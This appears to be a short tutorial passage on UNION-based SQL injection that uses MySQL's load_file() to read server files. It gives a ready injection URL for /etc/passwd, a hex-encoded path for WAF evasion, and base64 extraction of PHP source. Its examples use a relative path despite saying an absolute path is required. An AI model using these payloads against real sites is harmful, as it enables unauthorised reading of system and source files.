If the database user has read permission (which most of the time it does), it is possible for an attacker to read the internal file of the server, with a small caviat that the absolute path must be known (just as a normal LFI). In order to perform this kind of attack, the following function must be used:
load_file(/path/to/file)For example, the most basic approach is to read /etc/passwd:
load_file('../etc/passwd')A simple usage of the query:
http://domain.com/index.php?id=1' Union Select 1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10,11,12-- -
Alternatively you can convert /etc/passwd in 0xHex Format (in case WAF blocks it, or the backslashes might break up the syntax:
load_file(0x2e2e2f6574632f706173737764)Just like normal LFI, it is possible to convert the content of the file in base64, thanks to TO_base64() function:
TO_base64(LOAD_FILE('/var/www/html/index.php'))